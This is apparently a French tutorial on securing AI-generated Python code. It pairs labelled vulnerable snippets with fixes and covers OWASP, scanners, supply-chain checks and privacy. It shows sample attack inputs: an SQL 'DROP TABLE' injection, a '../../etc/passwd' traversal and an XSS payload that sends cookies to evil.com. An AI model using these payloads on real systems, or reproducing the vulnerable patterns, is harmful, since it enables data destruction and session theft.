Securite dans le codage assiste par IA
Pourquoi la securite compte davantage avec le code IA
Les assistants de codage IA generent du code en predisant des motifs statistiquement probables a partir de donnees d'entrainement. Ces donnees d'entrainement incluent des millions de depots — dont beaucoup contiennent du code non securise, des pratiques depassees et meme des vulnerabilites connues.
Les etudes montrent que le code genere par l'IA contient des vulnerabilites de securite dans environ 40 % des cas lorsque les developpeurs ne specifient pas d'exigences de securite dans leurs invites. Les modeles IA optimisent la correctitude fonctionnelle, pas la securite par defaut.
Imaginez un chef forme en regardant chaque video de cuisine sur Internet — y compris celles avec de mauvaises pratiques d'hygiene. Le chef peut preparer des plats appetissants, mais si vous ne demandez pas explicitement la conformite a la securite alimentaire, il pourrait sauter le lavage des mains. La generation de code par IA fonctionne de la meme maniere : vous devez demander explicitement des pratiques de codage securise.
Vulnerabilites de securite courantes dans le code genere par l'IA
1. Injection SQL
Les modeles IA generent frequemment du code qui concatene directement l'entree utilisateur dans les requetes SQL au lieu d'utiliser des requetes parametrees.
❌ Non securise (l'IA genere souvent ceci) :
# VULNERABLE: SQL Injection
@app.get("/users")
def search_users(name: str):
query = f"SELECT * FROM users WHERE name = '{name}'"
result = db.execute(query)
return result.fetchall()
# Attack: name = "'; DROP TABLE users; --"
✅ Securise (ce que vous devez exiger) :
# SAFE: Parameterized query
@app.get("/users")
def search_users(name: str):
query = text("SELECT * FROM users WHERE name = :name")
result = db.execute(query, {"name": name})
return result.fetchall()
Encore mieux avec un ORM :
# SAFE: SQLAlchemy ORM
@app.get("/users")
def search_users(name: str, db: Session = Depends(get_db)):
return db.query(User).filter(User.name == name).all()
L'injection SQL est la vulnerabilite n°1 des applications web depuis plus de deux decennies. Les modeles IA, entraines sur du code ancien, produisent frequemment des requetes injectables. Utilisez toujours des requetes parametrees ou un ORM.
2. Secrets et identifiants en dur
Les modeles IA incluent souvent des identifiants de remplacement que les developpeurs oublient de remplacer :
❌ Non securise :
# VULNERABLE: Hardcoded credentials
DATABASE_URL = "postgresql://admin:password123@db.example.com:5432/production"
API_KEY = "sk-1234567890abcdef"
JWT_SECRET = "super-secret-key"
def get_db():
return create_engine(DATABASE_URL)
✅ Securise :
# SAFE: Environment variables
import os
from dotenv import load_dotenv
load_dotenv()
DATABASE_URL = os.environ["DATABASE_URL"]
API_KEY = os.environ["API_KEY"]
JWT_SECRET = os.environ["JWT_SECRET"]
def get_db():
if not DATABASE_URL:
raise RuntimeError("DATABASE_URL environment variable is not set")
return create_engine(DATABASE_URL)
3. Deserialisation non securisee
L'IA peut suggerer d'utiliser pickle pour charger des donnees non fiables — une vulnerabilite critique :
❌ Non securise :
import pickle
# VULNERABLE: Loading untrusted pickle data
def load_model(file_path: str):
with open(file_path, "rb") as f:
return pickle.load(f) # Can execute arbitrary code!
✅ Securise :
import joblib
import hashlib
# SAFE: Verify integrity before loading
EXPECTED_HASH = "sha256:a1b2c3d4..."
def load_model(file_path: str):
with open(file_path, "rb") as f:
data = f.read()
file_hash = f"sha256:{hashlib.sha256(data).hexdigest()}"
if file_hash != EXPECTED_HASH:
raise ValueError("Model file integrity check failed")
return joblib.load(file_path)
4. Traversee de chemins
Le code de gestion de fichiers genere par l'IA ne valide souvent pas les chemins :
❌ Non securise :
# VULNERABLE: Path traversal
@app.get("/files/{filename}")
def get_file(filename: str):
file_path = f"/uploads/{filename}"
return FileResponse(file_path)
# Attack: filename = "../../etc/passwd"
✅ Securise :
from pathlib import Path
UPLOAD_DIR = Path("/uploads").resolve()
@app.get("/files/{filename}")
def get_file(filename: str):
safe_path = (UPLOAD_DIR / filename).resolve()
if not safe_path.is_relative_to(UPLOAD_DIR):
raise HTTPException(status_code=400, detail="Invalid file path")
if not safe_path.exists():
raise HTTPException(status_code=404, detail="File not found")
return FileResponse(safe_path)
5. Validation des entrees manquante
L'IA genere souvent le « chemin heureux » sans valider les entrees :
❌ Non securise :
# VULNERABLE: No input validation
@app.post("/transfer")
def transfer_money(data: dict):
from_account = data["from"]
to_account = data["to"]
amount = data["amount"]
db.execute(f"UPDATE accounts SET balance = balance - {amount} WHERE id = {from_account}")
db.execute(f"UPDATE accounts SET balance = balance + {amount} WHERE id = {to_account}")
return {"status": "success"}
✅ Securise :
from pydantic import BaseModel, Field, validator
class TransferRequest(BaseModel):
from_account: int = Field(..., gt=0)
to_account: int = Field(..., gt=0)
amount: float = Field(..., gt=0, le=10000)
@validator("to_account")
def accounts_must_differ(cls, v, values):
if "from_account" in values and v == values["from_account"]:
raise ValueError("Cannot transfer to the same account")
return v
@app.post("/transfer")
def transfer_money(request: TransferRequest, db: Session = Depends(get_db)):
with db.begin():
sender = db.query(Account).filter(Account.id == request.from_account).with_for_update().first()
if not sender or sender.balance < request.amount:
raise HTTPException(status_code=400, detail="Insufficient funds")
sender.balance -= request.amount
receiver = db.query(Account).filter(Account.id == request.to_account).with_for_update().first()
if not receiver:
raise HTTPException(status_code=404, detail="Receiver account not found")
receiver.balance += request.amount
return {"status": "success", "new_balance": sender.balance}
6. Cross-Site Scripting (XSS)
L'IA peut generer du code web qui n'echappe pas l'entree utilisateur :
❌ Non securise :
# VULNERABLE: XSS via unescaped HTML
@app.get("/profile/{username}")
def show_profile(username: str):
return HTMLResponse(f"<h1>Welcome, {username}!</h1>")
# Attack: username = "<script>document.location='http://evil.com/steal?c='+document.cookie</script>"
✅ Securise :
from markupsafe import escape
@app.get("/profile/{username}")
def show_profile(username: str):
safe_name = escape(username)
return HTMLResponse(f"<h1>Welcome, {safe_name}!</h1>")
OWASP Top 10 et code genere par l'IA
Le OWASP Top 10 est la reference standard des risques de securite des applications web. Voici comment le code genere par l'IA s'articule avec chacun :
| Risque OWASP | Pertinence IA | Niveau de risque |
|---|---|---|
| A01 : Controle d'acces defectueux | L'IA genere rarement des controles d'autorisation sauf demande | 🔴 Critique |
| A02 : Defaillances cryptographiques | L'IA peut utiliser des algorithmes faibles (MD5, SHA1 pour les mots de passe) | 🔴 Critique |
| A03 : Injection | SQL, NoSQL, injection de commandes via concatenation de chaines | 🔴 Critique |
| A04 : Conception non securisee | L'IA genere du code, pas l'architecture — conception securisee manquante | 🟡 Eleve |
| A05 : Mauvaise configuration securisee | Mode debug active, identifiants par defaut, erreurs verbeuses | 🟡 Eleve |
| A06 : Composants vulnerables | L'IA peut suggerer des paquets obsoletes ou vulnerables | 🔴 Critique |
| A07 : Defaillances d'authentification | Politiques de mot de passe faibles, limitation de debit absente, failles de session | 🟡 Eleve |
| A08 : Defaillances d'integrite des donnees | Deserialisation non securisee (pickle), controles d'integrite manquants | 🟡 Eleve |
| A09 : Defaillances de journalisation | L'IA omet souvent la journalisation ; peut journaliser des donnees sensibles quand elle le fait | 🟢 Moyen |
| A10 : SSRF | Recuperation d'URL generee par l'IA sans validation | 🟡 Eleve |
Analyse de code et outils de securite
Ne vous fiez jamais uniquement a la revue manuelle. Utilisez des outils automatises pour detecter les vulnerabilites :
Outils specifiques Python
| Outil | Ce qu'il analyse | Integration |
|---|---|---|
| Bandit | Problemes de securite specifiques Python (eval, pickle, SQL) | CLI, CI/CD, pre-commit |
| Safety | Vulnerabilites connues dans les paquets installes | CLI, CI/CD |
| pip-audit | Base de donnees de vulnerabilites des paquets (PyPI) | CLI, GitHub Actions |
| mypy | Erreurs de type pouvant conduire a des problemes de securite | CLI, IDE, CI/CD |
Outils generalistes
| Outil | Ce qu'il analyse | Langages supportes |
|---|---|---|
| Snyk | Dependances + vulnerabilites du code | Python, JS, Java, Go, ... |
| SonarQube | Qualite du code + vulnerabilites de securite | 30+ langages |
| Semgrep | Regles d'analyse statique personnalisees | Python, JS, Go, Java, ... |
| Trivy | Images conteneur + IaC + systeme de fichiers | Universel |
| CodeQL | Analyse semantique approfondie du code | Python, JS, Java, C/C++, Go |
Exemple : Executer Bandit sur du code genere par l'IA
# Install bandit
pip install bandit
# Scan a single file
bandit -r my_ai_generated_code.py
# Scan entire project with medium+ severity
bandit -r ./src -ll
# Generate a report
bandit -r ./src -f json -o security_report.json
Exemple de sortie Bandit :
>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector
Severity: Medium Confidence: Low
Location: ./api/routes.py:42
More Info: https://bandit.readthedocs.io/en/latest/plugins/b608
41 def search_users(name: str):
42 query = f"SELECT * FROM users WHERE name = '{name}'"
43 result = db.execute(query)
Integrer l'analyse de securite dans votre flux de travail
Voir le pipeline d'analyse de securite
Attaques de la chaine d'approvisionnement
Le risque des paquets suggeres par l'IA
Les modeles IA peuvent suggerer des paquets qui :
- N'existent pas — les attaquants peuvent enregistrer ces noms avec du code malveillant (« dependency confusion »)
- Sont des typosquats — noms similaires a des paquets populaires (ex.
reqeustsvsrequests) - Sont deprecies — plus maintenus, avec des vulnerabilites connues
- Sont compromis — paquets legitimes dont les comptes des mainteneurs ont ete pirates
Comment verifier un paquet
Avant d'executer pip install sur tout paquet suggere par l'IA :
# 1. Check if it exists and see metadata
pip index versions package-name
# 2. Check on PyPI website
# Visit: https://pypi.org/project/package-name/
# 3. Look at download statistics (should be high for legitimate packages)
# Visit: https://pypistats.org/packages/package-name
# 4. Check the GitHub repository linked from PyPI
# - Does it have stars?
# - When was it last updated?
# - Does the author maintain other known packages?
En decembre 2022, un paquet malveillant torchtriton a ete publie sur PyPI et installe par toute personne executant pip install pytorch-nightly. Le paquet a vole des cles SSH, des identifiants AWS et d'autres fichiers sensibles. Verifiez toujours les paquets avant de les installer.
Liste de verification : avant d'installer un paquet suggere par l'IA
- Verifier que le paquet existe sur PyPI
- Verifier le nombre de telechargements (les paquets majeurs ont des millions de telechargements)
- Verifier que l'auteur/mainteneur est credible
- Verifier la date de derniere mise a jour (eviter les paquets abandonnes)
- Lire le README et les issues GitHub
- Verifier les vulnerabilites connues :
pip-auditousafety check - Comparer le nom exact du paquet (attention au typosquatting)
- Figer la version dans votre fichier requirements
Confidentialite des donnees lors de l'utilisation d'outils IA
Quelles donnees sont envoyees aux fournisseurs d'IA
Lorsque vous utilisez des outils de codage IA, votre code est envoye vers des serveurs externes pour traitement :
| Outil | Donnees envoyees | Conservation des donnees | Possibilite de desactivation ? |
|---|---|---|---|
| GitHub Copilot | Fichier actuel + contexte | Non utilise pour l'entrainement (Business) | Oui (plan Business) |
| ChatGPT | Tout ce que vous collez | Peut etre utilise pour l'entrainement (Gratuit) | Oui (desactivation dans les parametres) |
| Cursor | Fichiers + contexte du projet | Varie selon le plan et le modele | Mode confidentialite disponible |
| CodeWhisperer | Fichier actuel | Non partage (Professional) | Oui |
Ne collez jamais les elements suivants dans les outils de chat IA :
- Cles API, mots de passe ou jetons
- Donnees clients ou PII (informations personnellement identifiables)
- Algorithmes proprietaires ou secrets commerciaux
- Details d'infrastructure interne (IP, noms d'hotes, identifiants)
- Donnees soumises a des exigences de conformite (HIPAA, PCI-DSS, RGPD)
Strategies d'attenuation
| Strategie | Description |
|---|---|
| Utiliser les plans entreprise | Les plans Business n'entrainent generalement pas sur votre code |
| Sanitiser avant de solliciter | Remplacer les vrais secrets par des placeholders avant de coller |
| Modeles auto-heberges | Executer des modeles open source localement (Ollama + CodeLlama, DeepSeek) |
| Politiques de revue de code | Exiger une revue humaine de tout code genere par l'IA |
| Outils DLP | Utiliser des outils de prevention des pertes de donnees pour detecter les secrets divulgues |
Comment sanitiser le code avant de solliciter l'IA
# AVANT ENVOI A L'IA (votre code reel) :
DATABASE_URL = "postgresql://prod_admin:X7$kL9mN@db.mycompany.com:5432/customers"
STRIPE_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
# APRES SANITISATION (ce que vous envoyez a l'IA) :
DATABASE_URL = "postgresql://user:password@hostname:5432/dbname"
STRIPE_KEY = "sk_live_XXXXXXXXXXXXXXXXXXXX"
Preoccupations en matiere de propriete intellectuelle
Questions cles pour le code genere par l'IA
| Question | Consideration |
|---|---|
| Qui possede le code genere par l'IA ? | Varie selon la juridiction — generalement le developpeur/l'entreprise |
| L'IA peut-elle reproduire du code protege par le droit d'auteur ? | Oui — l'IA peut reproduire du code GPL/AGPL textuellement |
| Contamination de licence ? | Si l'IA copie du code GPL dans votre projet MIT, vous pouvez avoir un probleme |
| Risques de brevet ? | L'IA peut generer du code qui enfreint des brevets logiciels |
Bonnes pratiques pour la protection de la PI
- Activer la detection des references de code — GitHub Copilot peut signaler quand les suggestions correspondent a du code public
- Utiliser des outils conscients des licences — Certains outils filtrent les suggestions provenant de depots copyleft
- Documenter l'utilisation de l'IA — Conserver des traces de ce qui a ete genere par l'IA pour la clarte juridique
- Verifier l'unicite — Si une suggestion semble trop specifique, rechercher la source
- Suivre la politique IA de votre organisation — De nombreuses entreprises ont des directives specifiques
Liste de verification du codage securise pour le code genere par l'IA
Utilisez cette liste de verification complete chaque fois que vous integrez du code genere par l'IA :
Authentification et autorisation
- Tous les points de terminaison necessitent une authentification sauf s'ils sont explicitement publics
- Les controles d'autorisation verifient que l'utilisateur a la permission pour la ressource specifique
- Les mots de passe sont haches avec bcrypt/argon2 (pas MD5/SHA1)
- Les jetons JWT ont des delais d'expiration appropries
- La limitation de debit est appliquee aux points de terminaison d'authentification
Validation des entrees
- Toutes les entrees utilisateur sont validees (type, longueur, format, plage)
- Les requetes SQL utilisent des instructions parametrees ou un ORM
- Les chemins de fichiers sont valides contre la traversee de chemins
- Les URL sont validees avant recuperation (prevention SSRF)
- La sortie HTML est echappee pour prevenir le XSS
Protection des donnees
- Pas d'identifiants, cles API ou secrets en dur
- Les donnees sensibles sont chiffrees au repos et en transit
- Les journaux ne contiennent pas de mots de passe, jetons ou PII
- Les messages d'erreur ne revelent pas les details d'implementation internes
- Les connexions base de donnees utilisent TLS/SSL
Dependances
- Tous les paquets existent sur PyPI/npm et sont legitimes
- Les versions des paquets sont figees dans les fichiers requirements
- Aucune vulnerabilite connue (verifie avec pip-audit/safety)
- Pas de dependances inutiles (minimiser la surface d'attaque)
Gestion des erreurs
- Les exceptions sont capturees et traitees de maniere appropriee
- Des messages d'erreur generiques sont retournes aux utilisateurs (pas de traces de pile)
- Les erreurs detaillees sont journalisees cote serveur pour le debogage
- L'application ne plante pas sur une entree inattendue
Sollicitation axe securite
Pour obtenir du code plus securise de l'IA, demandez explicitement la securite dans vos invites :
❌ Invite non securisee :
Write a login endpoint for FastAPI
✅ Invite axe securite :
Write a secure login endpoint for FastAPI that:
- Uses bcrypt for password verification
- Returns JWT tokens with 15-minute expiry
- Implements rate limiting (5 attempts per minute per IP)
- Returns generic "Invalid credentials" for both wrong email and wrong password
- Logs failed attempts without logging the attempted password
- Uses constant-time comparison for password verification
- Sets secure, HTTP-only cookie flags for the token
Points cles a retenir
| Concept | Resume |
|---|---|
| Risque securite IA | ~40 % du code genere par l'IA contient des vulnerabilites lorsque la securite n'est pas specifiee |
| Principales vulnerabilites | Injection SQL, secrets en dur, traversee de chemins, XSS, deserialisation non securisee |
| Alignement OWASP | Le code IA declenche frequemment les categories OWASP Top 10 |
| Outils d'analyse | Bandit, Snyk, SonarQube, Semgrep, pip-audit |
| Chaine d'approvisionnement | Verifier tous les paquets suggeres par l'IA avant installation |
| Confidentialite des donnees | Ne jamais coller de secrets, PII ou code proprietaire dans les outils IA |
| Preoccupations PI | L'IA peut reproduire du code protege par le droit d'auteur — activer la detection des references |
| Sollicitation securisee | Demander explicitement les exigences de securite dans chaque invite |